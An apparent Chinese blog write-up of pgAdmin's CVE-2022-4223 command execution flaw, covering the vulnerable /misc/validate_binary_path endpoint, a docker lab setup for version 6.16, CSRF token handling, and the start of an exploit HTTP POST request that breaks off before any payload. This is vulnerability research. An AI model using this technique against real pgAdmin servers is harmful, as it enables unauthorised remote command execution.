pgAdmin未授权命令执行漏洞(CVE-2022-4223)

https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码

首先从代码层面进行分析

image

接口 /validate_binary_path​ 最后调用了 subprocess.getoutput(​来执行了命令

image

image

image

这一部分代码是对传入的路径进行检测,如果是在 linux 下直接拼接,在windows 下部署,后缀中会添加 .exe​ 。同时 windows下恶意的exe文件必须是下面几个文件名之一 ‘pg_dump’, ‘pg_dumpall’, ‘pg_restore’, ‘psql’

linux

可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin

docker pull dpage/pgadmin4:6.16
docker run -e '[email protected]' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:6.16

image

直接构造发送会提示 The CSRF token is missing.

所以我们先请求路由 login

image

image

POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值